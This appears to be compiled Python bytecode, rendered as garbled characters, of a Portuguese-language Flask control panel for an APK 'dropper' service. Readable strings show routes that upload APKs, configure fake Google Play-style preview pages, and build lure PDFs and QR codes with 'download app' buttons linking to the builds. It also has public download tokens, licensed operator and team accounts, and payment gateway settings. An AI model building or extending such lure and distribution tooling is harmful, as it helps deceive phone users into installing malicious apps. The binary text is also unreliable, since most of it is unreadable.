< t	|ƒ t| ||ƒ}W d   ƒ n1 sÉw   Y  td|dœƒS tddiƒS )Nz[^a-zA-Z0-9\-]rW   é(   r	  rû  Ú	not_foundé”  rŒ  r×  Úuser_createdrª  r  r  r«  r¶  rµ  T)rû  rN  )rt  rw  r  rï  r   r   r  r&  Ú	_reg_lockr  r¹  r9  )r  rü  r6  Údb2r  Ú
api_statusÚreg2rN  rF   rF   rG   Ú
pix_status
  sJ   
€üú

üùrB  z/admin/gateway-settingsÚGETc               	   C   s˜   dt vr
ti ƒdfS tƒ } | d  t d i ¡ d¡dkr"ti ƒdfS | d  di ¡}t| d	d
¡| dd
¡| d¡r<dnd
| dd¡t| d¡ƒdœƒS )NrN  rø  r  rö  rï  rð  r  r  rÿ  rW   r   r  ú***r  F)rÿ  r   r  r  Úclient_secret_set)r   r   r  rï  ry  )rü  r  rF   rF   rG   Úget_gateway_settings,
  s   


ûrF  c                  C   sr  dt vrtddiƒdfS tƒ } | d  t d i ¡ d¡dkr'tddd	œƒd
fS tjddd}t|tƒs;tddiƒdfS | d  di ¡}t| dd¡ƒ 	d¡d d… |d< t
| dd¡ƒ|d< t| dd¡ƒd d… |d< | d¡r†| d¡dkr†t| dd¡ƒd d… |d< t ¡  || d d< t| ƒ tt d dd|d › d|d › ƒ tddt d › dd d! tddiƒS )"NrN  ræ  Frø  r  rö  rï  úSem permissaorå  rð  Tré  rí  r  r  rÿ  rW   r
  r›   r  r   r‘  r  rD  r[  zConfig Gatewayz
Base URL: z
 | Ativo: zCONFIG GATEWAYz)Credenciais do gateway atualizadas por **r:  râ  rã  )r   r   r  rï  r   rù  rú  r  r]   r™  ry  rš  rÚ  r  r^  rì  )rü  r¡  r  rF   rF   rG   Úsave_gateway_settings<
  s0   
"$ýrH  z/admin/gateway-testc               
   C   sô   dt vrtddiƒdfS tƒ } | d  t d i ¡ d¡dkr'tddd	œƒd
fS | d  di ¡}| d¡r>| d¡r>| d¡sEtddd	œƒS zt|ƒ}|rStddiƒW S tddd	œƒW S  tyy } ztdt|ƒd d… d	œƒW  Y d }~S d }~ww )NrN  ræ  Frø  r  rö  rï  rG  rå  rð  r  r  rÿ  r   r  z=Preencha Base URL, Client ID e Client Secret antes de testar.TzToken vazio na resposta.r‘  )r   r   r  rï  r¡  r±   r]   )rü  r  r  r  rF   rF   rG   Útest_gateway]
  s"   &€ÿrI  z/api/maintenance-statusc                  C   s&   t ƒ } |  di ¡ di ¡}td|iƒS )Nr  Úmaintenance_modes)r  rï  r   )rž   ÚmodesrF   rF   rG   Úapi_maintenance_statusq
  s   rL  z/admin/maintenancec                  C   s  dt vrtddiƒdfS tƒ } | d  t d i ¡}| d¡dkr(tddiƒd	fS t ¡ p-i }| d
d¡}t| dd¡ƒ}|dvrHtddiƒdfS d| vrPi | d< d| d vr\i | d d< || d d |< t| ƒ |rldnd}td| 	¡ › d|› dt d › d|rƒdndd td||dœƒS )NrN  r9  rñ  rø  r  rö  rï  rG  rð  ÚmoderW   rð  F)rÑ  rÚ  r   zModo invalidorí  r  rJ  ÚativadaÚ
desativadazMANUTENCAO zModo **z ** colocado em manutencao por **r:  râ  r1  rã  T)ræ  rM  rð  )
r   r   r  rï  r   rù  ry  r  rì  Úupper)rž   rP  r¥  rM  rð  rû  rF   rF   rG   Úadmin_set_maintenancew
  s0   
ýrQ  z/uploadc                  C   s  dt vrtddiƒdfS tƒ } | d  t d i ¡}t|ƒr%tddiƒdfS tj d¡}|r3|j d	¡sct	ƒ }t
d
dt  dd¡› ddd|ddœdt|rN|jndƒd d… ddœgd tddiƒdfS ttj dd¡ƒd d… }dt ¡ jd d…  }tj tjd |› d¡}| |¡ d }tj d¡}|r¬|jr¬tj tjd |› d ¡}| |¡ tƒ }	|	d  t d i ¡}
|
 d!i ¡}|
 d"i ¡|d#< tj d$d%¡}|d&vrÔd%}tƒ }| d'i ¡ d(i ¡}| |d)¡rïtdd*iƒd+fS tj d,d-¡d.k}d }|d/kr(tj d0d1¡}|r| ¡ stdd2iƒdfS t| d3¡ƒd4kr(tdd5iƒdfS d }|d6kratj d7d1¡p8d1 ¡ }|sFtdd8iƒdfS t|ƒd9krUtdd:iƒdfS | ¡  d;¡sad<| }tjt|||t d ||||||f
d=}d|_| ¡  td>|iƒS )?NrN  r9  rñ  rø  r  rï  rð  r³  r,  zUPLOAD INVALIDOró  ú?z*** tentou fazer upload de arquivo nao-APK.râ  rö  Tr3  ÚArquivoÚnenhumr'  r7  zArquivo invalidorí  ra  r†   rî  r3  r‘   rØ  z	_orig.apkÚiconr=  ra  Úplaystore_configrÚ  rb  rÑ  )rÑ  rÚ  rÜ  rÝ  r   r  rJ  Fz-Modo em manutencao. Tente novamente em breve.r  rc  Ú0Ú1rÝ  rd  rW   zHTML personalizado vazior*  i   z+HTML personalizado muito grande (max 200KB)r   re  zRedirect URL vaziarö  z#Redirect URL muito longa (max 2048))zhttp://úhttps://rY  )rÇ  Úargsr_  ) r   r   r  rï  r(  r   r  ÚfilenamerD  r5  rì  r]   Úformr  r  Úhexr¡   r¢   r[   r>  r?  r…  ro  rx  r‡  r   rF  Ú	threadingÚThreadrÓ  ÚdaemonÚstart)r¡  rW  r³  r@  ra  Úsafe_idÚfilepathÚ	icon_pathÚ	icon_fileÚdb_cfgr'  Údropper_cfgrb  Ú	_mnt_dataÚ
_mnt_modesrc  rd  re  ÚthreadrF   rF   rG   Ú
upload_apk’
  s|   
 þü	




þrk  z/operator/dropper-configc                  C   sJ   dt vr
ti ƒdfS tƒ } | d  t d i ¡}ddddœ}t| d|¡ƒS )	NrN  rø  r  r	  r  r°  ©r  r  r  ra  ©r   r   r  rï  )rü  rW  Údefault_configrF   rF   rG   Úget_dropper_configÛ
  s   ýro  c                  C   sæ   dt vrtddiƒdfS tjddd} t| tƒs tddiƒdfS tƒ }t d |d vr3tddiƒd	fS t|  d
d¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… dœ}||d t d  d< t	|ƒ t
t d ddƒ tddiƒS )NrN  ræ  Frø  Tré  rí  r  r<  r  r	  r—  r  r  r'  r  r°  rl  ra  zConfig DropperzTextos personalizados)r   r   r   rù  rú  r  r  r]   rï  r  r^  )r¡  rü  r?  rF   rF   rG   Úsave_dropper_configè
  s    
ýrp  z/operator/playstore-previewc               
   C   sØ  dt vrdS zËtj tdd¡} t| ddd}| ¡ }W d   ƒ n1 s%w   Y  tj 	dd	¡d d
… }tj 	dd¡d d
… }tj 	dd¡d d… }tj 	dd¡d d… }tj 	dd¡d d… }tj 	dd¡d d… }tj 	dd¡d d… }	tj 	dd¡d d… }
tj 	dd¡d d… }| 
d|¡}| 
d |¡}| 
d!|¡}| 
d"|¡}| 
d#|¡}| 
d$|¡}| 
d%|	¡}| 
d&|
¡}| 
d'|¡}| 
d(d)¡}|dd*d+d,œfW S  tyë } zd-|› d.d/fW  Y d }~S d }~ww )0NrN  )ÚUnauthorizedrø  rû  rÛ  r)  r*  r0  r  r†   r—  Úpubr  r  r  r}  r  r  r  r  r  Úc1zPerformance improvementsr‘  Úc2z	Bug fixesÚc3zSecurity improvementsÚlngrƒ  rà  r  r  r  r  r  r  r  r!  z[LNG]r"  rW   ztext/html; charset=utf-8Ú
SAMEORIGIN)r  zX-Frame-OptionszJ<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: z</body></html>r[  )r   r¡   r¢   r[   rM  rI  rJ  r   rZ  rï  rG  r±   )Úup_pathra  Úhtmlr  rr  r  r  r  rs  rt  ru  rv  r  rF   rF   rG   Úplaystore_previewý
  s>   
ÿ€ÿrz  z/operator/playstore-configc                  C   sx   dt vr
ti ƒdfS tƒ } | d  t d i ¡}dddddddd	œ}| d
i ¡}| ¡ D ]\}}||vr7|||< q+t|ƒS )NrN  rø  r  r  r  r  r  rW   ©r  r  r  r  r  r  r   rV  )r   r   r  rï  rE  )rü  rW  Ú
default_psr{  ru   rq   rF   rF   rG   Úget_playstore_config  s   þ€r}  c                  C   s2  dt vrtddiƒdfS tjdddpi } t| tƒs"tddiƒdfS tƒ }t d |d vr5tddiƒd	fS t|  d
d¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… t|  dd¡ƒd d… dœ}||d t d  d< t	|ƒ tddiƒS )NrN  ræ  Frø  Tré  rí  r  r<  r  r  r—  r  r  r}  r  r  r  r  r  r  rW   r‘  r  r   r{  rV  )
r   r   r   rù  rú  r  r  r]   rï  r  )r¡  rü  ÚcfgrF   rF   rG   Úsave_playstore_config,  s&   
ù	r  z/status/<build_id>c                    sÔ  t  dd| ¡d d… } dtvrtdddœƒdfS td ‰tƒ }|d	  ˆi ¡ d
d¡‰ |d	  ˆi ¡ d¡‰‡ ‡‡fdd„}| tv r|d	  ¡ D ]0\}}| dg ¡D ]%}| d¡| krw|||ƒrjtt|  ƒ    S tdddœƒdf    S qRqHtt|  ƒS |d	  ¡ D ]]\}}| dg ¡D ]R}| d¡| krá|||ƒsªtdddœƒdf    S | d¡dkrÎ| › d}t| dd¡ƒ› d}tdd||dœƒ    S | d¡dkrátddddœƒ    S qq…tdddœƒS )Nr-  rW   r  rN  ÚDesconhecidor   rÔ  rø  r  rö  rK  rý  c                    ó6   ˆ dkrdS | ˆkrdS ˆ dkr|  d¡ˆkrdS dS ©Nrï  Trí  rý  F©rï  ©Úowner_unameÚowner_udata©rS  Úcurrent_teamrQ  rF   rG   Ú_can_seeN  ó   zstatus.<locals>._can_seerü  r_  rð  rû  rd  r,  ra  r-  r¢  r.  re  r<  Tr8  )	rt  rw  r   r   r  rï  r@  rE  r
   )r_  rü  r‰  Úunamer  rb  rÐ  r0  rF   r‡  rG   rû  C  s@   

ýÿ

€÷
rû  z/download/<build_id>c           
         s  dt vr
ttdƒƒS t dd| ¡d d… } t d ‰tƒ }|d  ˆi ¡ dd¡‰ |d  ˆi ¡ d	¡‰‡ ‡‡fd
d„}t | ¡}|sª|d  ¡ D ]Y\}}| dg ¡D ]N}| d¡| kr | d¡dkr |||ƒsst	ddiƒdf    S | › d}t
| dd¡ƒ› d}tj tjd |¡}	tj |	¡ržt|	d|d    S  nqRqHt	ddiƒdfS |d  ¡ D ]'\}}| dg ¡D ]}| d¡| krÖ|||ƒsÔt	ddiƒdf    S  nqºq°| d¡dkr| d¡rtj tjd |d ¡}	tj |	¡rt|	d| d|d ¡dS t	ddiƒdfS )NrN  rÞ  r-  rW   r  r  rö  rK  rý  c                    r  r‚  rƒ  r„  r‡  rF   rG   Ú_can_download{  rŠ  zdownload.<locals>._can_downloadrü  r_  rû  rd  r9  rG  rð  r,  ra  rÚ  T©Úas_attachmentÚdownload_nameúArquivo nao disponivelr<  rÕ  r¢  r/  r0  )r   r   r	   rt  rw  r  rï  r@  rE  r   r
   r¡   r¢   r[   r>  r?  r¬   r   )
r_  rü  rŒ  Ústatus_infor‹  r  rb  rÐ  r0  r´  rF   r‡  rG   Údownloadq  sH   
	

€
ý€r’  z/user/buildsc                  C   sì   dt vr
tg ƒdfS tƒ } | d  t d i ¡}| dg ¡}t  d¡dkrQ| d¡}g }| d  ¡ D ]\}}| d¡|krL| d¡dkrL| | dg ¡¡ q1t|ƒS t  d¡d	krrg }| d  ¡ D ]\}}| | dg ¡¡ q`t|ƒS t|ƒS )
NrN  rø  r  rü  rö  rí  rý  rK  rï  )r   r   r  rï  rE  rX  )r¡  rW  rü  rý  Ú
all_buildsr‹  r  rF   rF   rG   Úuser_builds¡  s&   
€r”  z/user/profilec                  C   sp   dt vr
ti ƒdfS tƒ } | d  t d i ¡}tt d | d¡| d¡| d¡| ddddd	œ¡| d
¡dœƒS )NrN  rø  r  rö  rû  rú  rþ  r   rñ  rø  )rN  rö  rû  rú  rþ  rø  rm  rÜ  rF   rF   rG   Úuser_profile¶  s   úr•  z/admin/usersc                  C   sb  dt vr
tg ƒdfS tƒ } t d }| d  |i ¡ d¡}|dkrYg }| d  ¡ D ],\}}| || d¡| d¡| d¡| d¡td	d
„ | dg ¡D ƒƒ| di ¡dœ¡ q(t|ƒS |dkr­| d |  d¡}g }| d  ¡ D ]:\}}| d¡|kr¨| d¡dkr¨| || d¡| d¡| d¡| d¡tdd
„ | dg ¡D ƒƒ| di ¡dœ¡ qnt|ƒS tg ƒS )NrN  rø  r  rö  rï  rû  rú  rù  c                 s   ó"    | ]}|  d ¡dkrdV  qdS ©rû  rd  r%  Nrƒ  ©rK   r3  rF   rF   rG   rT   Ò  ó   €  zadmin_users.<locals>.<genexpr>rü  rþ  )rN  rö  rû  rú  rù  Úbuilds_countrþ  rí  rý  rK  c                 s   r–  r—  rƒ  r˜  rF   rF   rG   rT   Þ  r™  )r   r   r  rï  rE  rZ   rY   )r¡  rQ  rS  Ú
users_listr‹  r  rý  rF   rF   rG   Úadmin_usersÅ  s:   
 

ü
 
ü€rœ  z/admin/create-userc            
      C   s4  dt vrtdddœƒdfS tjdddpi } t| tƒs$tdddœƒd	fS |  d¡}|  d
¡}t|tƒr8t|tƒsAtdddœƒd	fS |d d… }|  dd¡}|  dd¡}tƒ }t d }|d  |i ¡ d¡}||d v rttdddœƒd	fS |dkr™|dvr…tdddœƒd	fS |dkrtt	 
¡ ƒn|d |  d¡}n|dkr©d}|d |  d¡}n	tdddœƒdfS |r¿t ¡ t|d  ¡ nd }	t|ƒ|dt ¡  ¡ ||	dg |ddddœdœ
|d |< t|ƒ t|dd |› d!|› d"|› d#ƒ td$d%|› d&d'd(|dd)œd*|dd)œd+|› d,dd)œgd- td| ¡ › d.dœƒS )/NrN  Frñ  rå  rø  Tré  rì  rí  r¶   rî  rö  rK  rù  r•   r  zUsuario ja existerï  )rí  rK  zRole invalidarí  rý  rG  rð  rÔ  rW   rð  r   rñ  rõ  zCriar UsuariozNovo rš   ú (ú dias)zUSUARIO CRIADOúAdmin **z** criou um novo usuario.r  zNovo usuarior3  rõ  ÚLicencar4  r7  z criado com sucesso)r   r   r   rù  rú  r  rï  r]   r  r  r  r   r  r   r  r   r  r^  rì  Ú
capitalize)
r¡  Únew_usernameÚnew_passwordÚnew_rolerù  rü  rQ  rS  rý  rú  rF   rF   rG   Úcreate_userä  sX   


(

û 


ýü
r¥  z/admin/renew-licensec                  C   sô   dt vrtdddœƒdfS tjdddpi } |  d¡}|  dd	¡}tƒ }t d }t||ƒs6tdd
dœƒdfS ||d vrEtdddœƒdfS t ¡ t	|d  
¡ |d | d< ||d | d< t|ƒ t|dd|› d|› dƒ tdd|› ddœƒS )NrN  Frñ  rå  rø  Tré  rÕ  r•   rG  rð  r  úUsuario nao encontrador<  rÔ  rú  rù  zRenovar Licencar3  z (+rž  zLicenca renovada por r4  )r   r   r   rù  rï  r  rU  r   r  r   r  r  r^  )r¡  rR  rÕ  rü  rQ  rF   rF   rG   Úrenew_license  s    

"r§  z/admin/toggle-userc               
   C   s*  dt vrtdddœƒdfS tjdddpi } |  d¡}tƒ }t d }t||ƒs0tdddœƒd	fS ||d
 vr?tdddœƒdfS |d
 | d dkrKdnd}||d
 | d< t|ƒ t|dd|› d|› ƒ t	dd|› d|› d|dkrudndd|ddœd| 
¡ ddœd|ddœgd tdd|› dœƒS )NrN  Frñ  rå  rø  Tré  rG  rð  r  r¦  r<  rû  rð  r%  zToggle Usuarior3  z -> zSTATUS DE USUARIO ALTERADOrŸ  z** alterou status de **r:  râ  r1  r2  r3  zNovo statuszAlterado porr7  zUsuario )r   r   r   rù  rï  r  rU  r  r^  rì  rP  )r¡  rR  rü  rQ  Ú
new_statusrF   rF   rG   Útoggle_user)  s0   



ýü
r©  z/admin/delete-userc               	   C   sü   dt vrtdddœƒdfS tjdddpi } |  d¡}tƒ }t d }t||ƒs0tdddœƒd	fS ||d
 vr?tdddœƒdfS ||krLtdddœƒdfS |d
 |= t|ƒ t|dd|› ƒ t	dd|› d|› ddd|ddœd|ddœgd tdddœƒS )NrN  Frñ  rå  rø  Tré  rG  rð  r  r¦  r<  zNao pode deletar a si mesmorí  zDeletar Usuarior3  zUSUARIO DELETADOrŸ  z** deletou o usuario **r:  r;  zDeletado porr3  zUsuario removidor7  zUsuario deletado)
r   r   r   rù  rï  r  rU  r  r^  rì  )r¡  rR  rü  rQ  rF   rF   rG   Údelete_userE  s0   




þü	rª  z/user/change-passwordc                  C   sl  dt vrtdddœƒdfS tjdddpi } t| tƒs$tdddœƒd	fS t|  d
d¡ƒ}t|  dd¡ƒ}t|ƒdk rCtdddœƒd	fS ||krPtdddœƒd	fS t	ƒ }|d  t d ¡}|ret
|d |ƒsntdddœƒdfS t|ƒ|d t d  d< | dd¡d |d t d  d< t|ƒ |d t d  d t d< tt d ddƒ tddt d › ddd tdddœƒS )NrN  Frñ  rå  rø  Tré  rì  rí  Úold_passwordrW   r£  r   zSenha muito curta (minimo 6)zNova senha igual a antigar  r¶   zSenha atual incorretarÕ  r   r%  zTrocar SenhazSenha alterada via painelzTROCA DE SENHAró  z** trocou a propria senha.rô  rã  zSenha alterada)r   r   r   rù  rú  r  r]   rï  rx  r  r$  r   r  r^  rì  )r¡  r  r  rü  rW  rF   rF   rG   Úchange_passwordb  s4   
 ýr¬  z/admin/historyc                  C   sT   dt vr
tg ƒdfS tƒ } | d  t d i ¡ d¡}|dkr&t|  dg ¡ƒS tg ƒS )NrN  rø  r  rö  rï  r  rm  )r¡  rS  rF   rF   rG   Úadmin_history  s   r­  c                  C   sb   t j t¡r/zttdƒ} t | ¡W  d   ƒ W S 1 sw   Y  W i S  ty.   Y i S w i S )Nr)  )r¡   r¢   r¬   ÚPDF_TOKENS_FILErI  r  r  r±   )ra  rF   rF   rG   Ú_load_pdf_tokensŽ  s   $ÿþþr¯  c                 C   sV   z t tdƒ}t | |¡ W d   ƒ W d S 1 sw   Y  W d S  ty*   Y d S w )Nr/  )rI  r®  r  r  r±   )Útokensra  rF   rF   rG   Ú_save_pdf_tokens—  s   &ÿÿr±  c                    ó    ˆ   d¡‰ t‡ fdd„dD ƒƒS )Nrs  c                 3   ó*    | ]}t ˆ ||d  … dƒd V  qdS ©rL  r‘   g     ào@Nr*  rP   ©ÚhrF   rG   rT   ¡  r/  z_hex_rgb.<locals>.<genexpr>©r   rL  rv   ©rz  rU  rµ  rF   rµ  rG   Ú_hex_rgbŸ  ó   
r¹  ú#0e1117ú#16a34aú#e2e8f0úBAIXAR APLICATIVOc	           *   	      s  ddl m}	 ddlm}
 ddlm} |
\}}|	j| |
d}t|ƒ}t|ƒ}t|ƒ}t|ƒd dk ‰ t	‡ fdd	„|D ƒƒ}t	‡ fd
d	„|D ƒƒ}|j
|Ž  |jdd||ddd |j
|Ž  |jd|d|  |d| ddd |d }|d|  }d| }t	dd	„ |D ƒƒ}|j
|Ž  |j|Ž  | d¡ |j|||ddd | 
ddd¡ d| }d| }|j||d  |d|  ||ddd | ¡ }| ||d|  ¡ | |d|  |d|  ¡ | |d|  |d|  ¡ | ¡  |j|ddd | ddd¡ | d¡ | |d|  |d|  |d|  |d|  ¡ |j
|Ž  t|ƒdkr'dnd}| d|¡ | |d |d|  |¡ |j
|Ž  | dd¡ | |d |d|  |¡ |j|Ž  | d¡ | d| |d|  |d|  |d|  ¡ |j
|Ž  | dd¡ |d |  }g }| d!¡D ]N}| ¡ }|sœ| d"¡ qŒ| ¡ }d"} |D ]'}!| d# |!  ¡ }"| |"dd¡|d$|  krÀ|"} q¤| rÈ| | ¡ |!} q¤| rÔ| | ¡ | d"¡ qŒ|ré|d% d"kré| ¡  |d d&… D ]}#|#rý| |d ||#¡ |d| 8 }qïd| }$d'| }%||$ d }&|d(|  }'|j
|Ž  |j|&|'|$|%d| ddd t|ƒd }(|j
|(dkr;d)nd*Ž  | dd+¡ |rM|d d… nd,})| |d |'d-|  |)¡ |j||&|'|&|$ |'|% fdd. |j
|Ž  | dd/¡ | |d d(| d0¡ | ¡  |  ¡  d S )1Nr   ©Úcanvas©ÚA4©Úcm©ÚpagesizerS  r‹  c                 3   ó0    | ]}ˆ rt d |d ƒntd|d ƒV  qdS ©r%  rM  r   N©Úminrx  ©rK   Úx©Úis_darkrF   rG   rT   ²  ó   €. z&_create_dropper_pdf.<locals>.<genexpr>c                 3   rÇ  ©r%  g333333Ã?r   NrÉ  rË  rÍ  rF   rG   rT   ³  rÏ  r%  ©ÚfillÚstrokeç333333ã?rL  g      @gÍÌÌÌÌÌü?c                 s   s    | ]
}t d |d ƒV  qdS )r   ç      Ð?N)rx  rË  rF   rF   rG   rT   ¾  s   € rM  gffffffæ?gš™™™™™©?g333333ë?çÍÌÌÌÌÌä?gÍÌÌÌÌÌð?r•   é   é   úHelvetica-BoldrI   Ú	HelveticarV   rO   gš™™™™™(@rs  rW   rA   r   r0  r$  çffffffö?ç      ø?©r   r   r   ©r%  r%  r%  é   r¾  çáz®GáÚ?©Úrelativer}  z1Clique no botao ou toque para baixar o aplicativo)!Úreportlab.pdfgenrÀ  Úreportlab.lib.pagesizesrÂ  Úreportlab.lib.unitsrÄ  ÚCanvasr¹  rY   rU  ÚsetFillColorRGBÚrectÚsetStrokeColorRGBÚsetLineWidthÚcircleÚ	beginPathÚmoveToÚlineTor®  ÚdrawPathrƒ  rx  ÚsetFontÚdrawCentredStringr  ro  rZ   ÚstringWidthÚpopÚ	roundRectÚlinkURLÚshowPager…  )*Úpdf_pathrè  rç  ra  Údownload_urlÚbg_colorÚ	btn_colorÚ
text_colorÚ	btn_labelÚ	rl_canvasrÂ  rÄ  r/  r¶  ÚcÚbgÚbtnrb  rw  ÚdivÚcxÚicon_cyÚicon_rÚic_fillÚbody_wÚbody_hr,  Ú	font_sizeÚmsg_yÚ	lines_outÚ	paragraphÚwordsrƒ  Úwordr#  ÚlnÚbtn_wÚbtn_hÚbtn_xÚbtn_yÚbtn_lumÚlblrF   rÍ  rG   Ú_create_dropper_pdf¤  s´   

"


&
0



,




 
r  ú#000000ú#ffffffc           	         sz   dd l }t‡fdd„dD ƒƒ}t‡ fdd„dD ƒƒ}|j|jjddd}| |¡ |jd	d
 |j||d}| | ¡ d S )Nr   c                 3   ó,    | ]}t ˆ  d ¡||d … dƒV  qdS ©rs  rL  r‘   N©r+  rz  rP   ©Úfg_colorrF   rG   rT     r-  ú!_create_qr_png.<locals>.<genexpr>r·  c                 3   r  r  r  rP   ©rù  rF   rG   rT     r-  r$  rS  rq  Tru  ry  )	r~  rU  r  r€  ÚERROR_CORRECT_Hr‚  rƒ  r„  r…  )	r¢   Úurlr  rù  r~  Úfgrÿ  r‡  rˆ  rF   ©rù  r  rG   Ú_create_qr_png  s   
r#  c
           (   	      s†  ddl m}
 ddlm} ddlm} ddlm} |\}}|
j| |d}t	|ƒ}t	|ƒ}t	|ƒ}t
|ƒd dk ‰ t‡ fd	d
„|D ƒƒ}t‡ fdd
„|D ƒƒ}|j|Ž  |jdd||ddd |j|Ž  |jd|d|  |d| ddd d| }|| d }|d|  }z7|j||ƒ||||dd |j|Ž  | d¡ |j|d|  |d|  |d|  |d|  d| ddd W n	 tyÃ   Y nw |j|Ž  t|ƒdkrÑdnd}| d|¡ | |d |d|  |¡ |j|Ž  | dd¡ | |d |d|  |¡ |j|Ž  | d¡ | d| |d|  |d|  |d|  ¡ |j|Ž  | dd¡ |d |  }g }| d!¡D ]N}| ¡ }|sF| d"¡ q6| ¡ }d"}|D ]'}|d# |  ¡ } | | dd¡|d$|  krj| }qN|rr| |¡ |}qN|r~| |¡ | d"¡ q6|r“|d% d"kr“| ¡  |d d&… D ]}!|!r§| |d ||!¡ |d'| 8 }q™d| }"d(| }#||" d }$|d)|  }%|j|Ž  |j|$|%|"|#d*| ddd t
|ƒd }&|j|&dkråd+nd,Ž  | dd-¡ |	r÷|	d d.… nd/}'| |d |%d0|  |'¡ |j||$|%|$|" |%|# fdd1 |j|Ž  | dd&¡ | |d |%d2|  d3¡ | |d d4| d5¡ | ¡  | ¡  d S )6Nr   r¿  rÁ  rÃ  ©ÚImageReaderrÅ  rS  r‹  c                 3   rÇ  rÈ  rÉ  rË  rÍ  rF   rG   rT   )  rÏ  ú!_create_qr_pdf.<locals>.<genexpr>c                 3   rÇ  rÐ  rÉ  rË  rÍ  rF   rG   rT   *  rÏ  r%  rÑ  rÔ  g      @rL  rI   Úauto©Úmaskru  çš™™™™™Ù?ç333333Ó?rÎ  r  rã  rÙ  g      %@rÚ  rV   gÍÌÌÌÌÌ&@gffffff(@g      +@rs  rW   rA   r   r0  r}  rÖ  rÛ  g333333ó?rM  rÝ  rÞ  r$  r•   r¾  rà  rá  çš™™™™™á?z*Escaneie o QR Code acima ou toque no botaorÜ  z1Escaneie com seu celular para baixar o aplicativo)rã  rÀ  rä  rÂ  rå  rÄ  Úreportlab.lib.utilsr%  ræ  r¹  rY   rU  rç  rè  Ú	drawImageré  rê  rô  r±   rx  rð  rñ  rƒ  r  ro  rZ   rò  ró  rõ  rö  r…  )(r÷  rè  rç  ra  rø  Úqr_png_pathrù  rú  rû  rü  rý  rÂ  rÄ  r%  r/  r¶  rþ  rÿ  r   rb  rw  r  Úqr_sizeÚqr_xÚqr_yr  r	  r
  r  r  rƒ  r  r#  r  r  r  r  r  r  r  rF   rÍ  rG   Ú_create_qr_pdf  s    

"

@ÿ



,


 
r3  c                 C   ó:   t ƒ }| dg ¡}| d| ¡ |d d… |d< t|ƒ d S )NÚ__pdf_items__r   r‘  ©r¯  rï  r\  r±  ©Úitemr°  rE  rF   rF   rG   Ú_append_pdf_itemw  ó
   r9  c                 C   r4  )NÚ__qr_items__r   r‘  r6  r7  rF   rF   rG   Ú_append_qr_item~  r:  r<  c                    sn   t ƒ }| | g ¡}|dkr|S |dkr.‡fdd„|d  ¡ D ƒ‰ ˆ  ˆ¡ ‡ fdd„|D ƒS ‡fdd„|D ƒS )	Nrï  rí  c                    s"   h | ]\}}|  d ¡ˆ kr|’qS )rý  rƒ  )rK   rP  rž   )rˆ  rF   rG   Ú	<setcomp>‹  s   " z"_get_user_items.<locals>.<setcomp>r  c                    s   g | ]}|  d ¡ˆ v r|‘qS ©Ú
created_byrƒ  rP   )ÚallowedrF   rG   rM     ó    z#_get_user_items.<locals>.<listcomp>c                    s   g | ]}|  d ¡ˆ kr|‘qS r>  rƒ  rP   )rQ  rF   rG   rM   Ž  rA  )r¯  rï  rE  rì  )r–  rQ  rS  rˆ  rü  r°  Ú	all_itemsrF   )r@  rˆ  rQ  rG   Ú_get_user_items…  s   
rC  z/pub/<token>c                 C   s   t  dd| ¡d d… } tƒ }| | ¡}|stddiƒdfS | d¡}|rBzt ¡ t |¡kr7tddiƒd	fW S W n	 tyA   Y nw t  d
d| dd¡¡}| dd¡}t	j
 tjd |› d¡}t	j
 |¡sntddiƒdfS | dd¡d |d< t ¡  ¡ |d< t|ƒ t|dt|ƒ› ddS )Nú[^a-zA-Z0-9]rW   rî  r9  zLink invalido ou expirador<  rŒ  zLink expiradoiš  ú[^a-zA-Z0-9_-]r_  ra  r>  rÚ  r,  r  r  r   r%  Úlast_downloadTr  )rt  rw  r¯  rï  r   r   Úutcnowr&  r±   r¡   r¢   r[   r>  r?  r¬   r  r±  r   r
   )r  r°  r±  rŒ  r_  ra  r´  rF   rF   rG   Úpublic_apk_download‘  s.   

ÿÿrH  z/pdf/buildsc               
   C   sš  dt vr
tg ƒdfS tƒ } t d }| d  |i ¡ dd¡}| d  |i ¡ d¡}g }|dkra| d  ¡ D ](\}}| dg ¡D ]}| d	¡d
kr[| | d¡| dd¡| dd¡dœ¡ q>q4t|ƒS |dkrŸ| d  ¡ D ]/\}}| d¡|krš| dg ¡D ]}| d	¡d
kr™| | d¡| dd¡| dd¡dœ¡ q|qkt|ƒS | d  |i ¡ dg ¡D ]}| d	¡d
krÈ| | d¡| dd¡| dd¡dœ¡ q«t|ƒS )NrN  rø  r  rö  rK  rý  rï  rü  rû  rd  r_  ra  r†   r`  rW   )r_  ra  r`  rí  )r   r   r  rï  rE  rZ   )rü  rQ  rS  rˆ  rü  r‹  r  r3  rF   rF   rG   Úpdf_list_buildsª  s8   (€þö(€ý(€rI  z/pdf/generatec                  C   s  dt vrtdddœƒdfS tjdddpi } t| tƒs$tdddœƒd	fS t d
dt|  	dd¡ƒ¡d d… }t|  	dd¡ƒd d…  
¡ pDd}t|  	dd¡ƒd d…  
¡ }t ddt|  	dd¡ƒ¡d d… ped}t ddt|  	dd¡ƒ¡d d… pxd}t ddt|  	dd¡ƒ¡d d… p‹d}t ddt|  	dd¡ƒ¡d d…  
¡ p d}tt|  	d d¡pªdƒd!ƒ}|s¹tdd"dœƒd	fS tƒ }	t d }
|	d#  	|
i ¡ 	d$d%¡}|	d#  	|
i ¡ 	d&¡}d}d'}|	d#  ¡ }|D ]B\}}|d%krð||
krðqã|d(krü| 	d&¡|krüqã| 	d)g ¡D ]}| 	d¡|kr| 	d*¡d+krd}| 	d,d'¡} nq|r% nqã|s2tdd-dœƒd.fS t d/¡}t d0¡}tjd1 }tj ||› d2¡}d3|› }tƒ }t ¡ t|d4  ¡ }|||
t ¡  ¡ |d5d6d7œ||< t|ƒ zt|||||||||d8	 W n! ty¢ } ztdd9t|ƒ› dœƒdfW  Y d }~S d }~ww t|
d:d;|› d<|› d=ƒ t|d>|› d3|› |||
t ¡  ¡ |d?œƒ t d@dA|
› dB|› dCdDd'|ddEœdF|
